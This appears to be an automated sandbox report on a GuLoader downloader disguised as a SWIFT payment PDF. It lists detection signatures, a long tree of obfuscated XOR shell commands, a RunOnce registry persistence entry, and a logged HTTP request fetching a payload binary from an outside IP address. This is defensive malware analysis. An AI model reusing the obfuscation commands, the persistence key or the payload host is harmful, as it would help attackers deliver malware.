Edit tour

Windows Analysis Report
SWIFTCOPYMT1030000000_pdf.exe

Overview

General Information

Sample name:	SWIFTCOPYMT1030000000_pdf.exe
Analysis ID:	1432107
MD5:	1048340bcfae30df032c161ac52f8f0e
SHA1:	8a3370d01a170626ef43202f5fe54e27372abec4
SHA256:	47a75ba2cc69f372c816fb61d079ebe6e3a81eeeb16e72726725b088a59f4e94
Infos:

Detection

GuLoader

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Initial sample is a PE file and has a suspicious name

Machine Learning detection for dropped file

Machine Learning detection for sample

Mass process execution to delay analysis

Obfuscated command line found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

Sigma detected: CurrentVersion Autorun Keys Modification

Too many similar processes found

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

SWIFTCOPYMT1030000000_pdf.exe (PID: 1976 cmdline: "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe" MD5: 1048340BCFAE30DF032C161AC52F8F0E)

cmd.exe (PID: 6920 cmdline: cmd.exe /c set /a "250^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 616 cmdline: cmd.exe /c set /a "244^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 452 cmdline: cmd.exe /c set /a "227^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 8032 cmdline: cmd.exe /c set /a "255^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 528 cmdline: cmd.exe /c set /a "244^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2500 cmdline: cmd.exe /c set /a "253^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5196 cmdline: cmd.exe /c set /a "130^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5592 cmdline: cmd.exe /c set /a "131^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 8020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 3572 cmdline: cmd.exe /c set /a "139^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 3608 cmdline: cmd.exe /c set /a "139^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1396 cmdline: cmd.exe /c set /a "242^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6920 cmdline: cmd.exe /c set /a "195^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 616 cmdline: cmd.exe /c set /a "212^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 452 cmdline: cmd.exe /c set /a "208^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 8032 cmdline: cmd.exe /c set /a "197^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5272 cmdline: cmd.exe /c set /a "212^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6584 cmdline: cmd.exe /c set /a "247^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5456 cmdline: cmd.exe /c set /a "216^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7444 cmdline: cmd.exe /c set /a "221^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4916 cmdline: cmd.exe /c set /a "212^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1244 cmdline: cmd.exe /c set /a "240^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2036 cmdline: cmd.exe /c set /a "153^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5688 cmdline: cmd.exe /c set /a "220^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1500 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2940 cmdline: cmd.exe /c set /a "195^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1564 cmdline: cmd.exe /c set /a "133^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7048 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 840 cmdline: cmd.exe /c set /a "157^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2300 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7808 cmdline: cmd.exe /c set /a "216^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5804 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1572 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2500 cmdline: cmd.exe /c set /a "201^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6964 cmdline: cmd.exe /c set /a "137^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4768 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6284 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5696 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7424 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4972 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2632 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5376 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5100 cmdline: cmd.exe /c set /a "157^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1396 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2036 cmdline: cmd.exe /c set /a "216^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5688 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 3204 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1608 cmdline: cmd.exe /c set /a "157^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4404 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7012 cmdline: cmd.exe /c set /a "193^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 3308 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6056 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2424 cmdline: cmd.exe /c set /a "157^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1784 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4972 cmdline: cmd.exe /c set /a "216^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2632 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1728 cmdline: cmd.exe /c set /a "133^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5100 cmdline: cmd.exe /c set /a "157^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1396 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5700 cmdline: cmd.exe /c set /a "216^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4392 cmdline: cmd.exe /c set /a "145^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 2424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4212 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6416 cmdline: cmd.exe /c set /a "201^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 5592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7372 cmdline: cmd.exe /c set /a "137^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 7444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6512 cmdline: cmd.exe /c set /a "129^177" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 4340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

SWIFTCOPYMT1030000000_pdf.exe (PID: 1268 cmdline: "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe" MD5: 1048340BCFAE30DF032C161AC52F8F0E)

WerFault.exe (PID: 3228 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 1092 MD5: 40A149513D721F096DDF50C04DA2F01F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.134274135976.0000000000863000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
00000006.00000002.134274135976.000000000081E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
00000006.00000002.134275655794.00000000085F6000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: SWIFTCOPYMT1030000000_pdf.exe PID: 1976	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe, ProcessId: 1268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Blankbook

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe, ProcessId: 1268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Blankbook

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe	Virustotal: Detection: 36%			Perma Link

Multi AV Scanner detection for submitted file

Source: SWIFTCOPYMT1030000000_pdf.exe	ReversingLabs: Detection: 15%
Source: SWIFTCOPYMT1030000000_pdf.exe	Virustotal: Detection: 36%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SWIFTCOPYMT1030000000_pdf.exe

Joe Sandbox ML: detected

Source: SWIFTCOPYMT1030000000_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 6_2_00405454 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	6_2_00405454
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 6_2_00405E7B FindFirstFileA,FindClose,	6_2_00405E7B
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 6_2_0040264F FindFirstFileA,	6_2_0040264F
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 136_2_0040264F FindFirstFileA,	136_2_0040264F
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 136_2_00405454 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	136_2_00405454
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 136_2_00405E7B FindFirstFileA,FindClose,	136_2_00405E7B

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\udskriftskartotek\chiromancy\refalling\Nonessential\Uforstaaeligheds.Com	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: global traffic

HTTP traffic detected: GET /yFtqL16.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 94.156.8.104Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.104
